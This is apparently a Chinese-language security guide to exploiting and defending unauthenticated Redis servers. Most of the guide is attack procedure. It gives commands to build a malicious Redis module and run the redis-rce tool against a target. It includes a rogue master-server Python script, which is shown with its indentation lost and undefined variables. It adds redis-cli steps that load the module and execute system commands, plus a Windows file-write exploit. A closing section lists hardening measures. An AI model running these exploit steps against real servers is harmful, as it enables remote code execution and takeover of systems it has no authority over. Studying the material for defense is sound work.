FOFA攻防挑战及漏洞分析
字数 1025 2025-08-12 11:33:54
Redis未授权访问漏洞利用与防御指南
1. Redis未授权访问漏洞概述
Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。当Redis服务配置不当,允许未经授权的访问时,攻击者可以利用此漏洞获取服务器权限。
1.1 漏洞危害
- 写入webshell
- 通过SSH公钥登录服务器
- 利用计划任务反弹shell
- 利用主从复制获取shell
- 数据泄露或篡改
1.2 受影响版本
- 4.x-5.x版本存在主从复制漏洞
- 6.0及以上版本部分利用方式受限
2. 漏洞检测方法
2.1 端口扫描
Redis默认使用6379端口,可通过扫描该端口判断Redis服务是否存在。
2.2 连接测试
使用redis-cli工具尝试连接:
redis-cli -h <target_ip> -p 6379
3. 漏洞利用方法
3.1 主从复制漏洞利用(4.x-5.x版本)
3.1.1 准备工作
- 克隆必要的工具库:
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
git clone https://github.com/Ridter/redis-rce.git
- 编译恶意模块:
cd RedisModules-ExecuteCommand/
make
- 准备redis-rce工具:
cd ../redis-rce/
cp ../RedisModules-ExecuteCommand/src/module.so ./
pip install -r requirements.txt
3.1.2 执行攻击
python redis-rce.py -r <target_ip> -p <target_port> -L <your_ip> -f module.so
3.2 手动主从复制攻击
3.2.1 设置恶意主服务器
import socket
from time import sleep
from optparse import OptionParser
def RogueServer(lport):
resp = ""
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(("0.0.0.0",lport))
sock.listen(10)
conn,address = sock.accept()
sleep(5)
while True:
data = conn.recv(1024)
if "PING" in data:
resp="+PONG"+CLRF
conn.send(resp)
elif "REPLCONF" in data:
resp="+OK"+CLRF
conn.send(resp)
elif "PSYNC" in data or "SYNC" in data:
resp = "+FULLRESYNC " + "Z"*40 + " 1" + CLRF
resp += str(len(payload)) + CLRF
resp = resp.encode()
resp += payload + CLRF.encode()
if type(resp) != bytes:
resp =resp.encode()
conn.send(resp)
3.2.2 目标Redis执行命令
redis-cli -h <target_ip>
> config set dir /tmp
> config set dbfilename exp.so
> slaveof <your_ip> <your_port>
> module load ./exp.so
> slaveof no one
> system.exec 'whoami'
3.3 Windows环境下利用
3.3.1 无损文件写入
python RedisWriteFile.py --rhost=<target_ip> --rport=6379 --lhost=<your_ip> --lport=9999 --rpath="C:\Users\Public" --rfile="test.txt" --lfile="test.txt"
3.3.2 Windows下其他利用方式
- 系统DLL劫持
- 特定软件DLL劫持
- 覆写快捷方式
- 覆写配置文件
- 覆写sethc.exe等系统文件
- mof利用
4. 防御措施
4.1 基本防护
- 设置强密码认证
- 修改默认端口
- 限制访问IP(bind配置)
- 禁用危险命令:
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
4.2 网络层防护
- 配置防火墙规则
- 使用VPN或专有网络
- 启用TLS加密
4.3 系统层防护
- 以非root用户运行Redis
- 限制Redis目录权限
- 启用保护模式
4.4 监控与审计
- 监控异常连接
- 定期检查Redis配置
- 审计日志文件
5. 漏洞修复建议
- 升级到最新稳定版本
- 禁用非必要网络接口
- 启用AOF持久化而非RDB
- 使用Redis 6.0+的ACL功能
6. 工具与资源
-
漏洞检测工具:
- redis-cli
- nmap
-
利用工具:
- RedisModules-ExecuteCommand
- redis-rce
- redis-rogue-server
- RedisWriteFile
-
参考文章:
- 对Redis在Windows下的利用方式思考
- Redis(Windows)的getshell踩坑记录
通过以上详细指南,安全人员可以全面了解Redis未授权访问漏洞的利用方式和防御措施,有效提升系统安全性。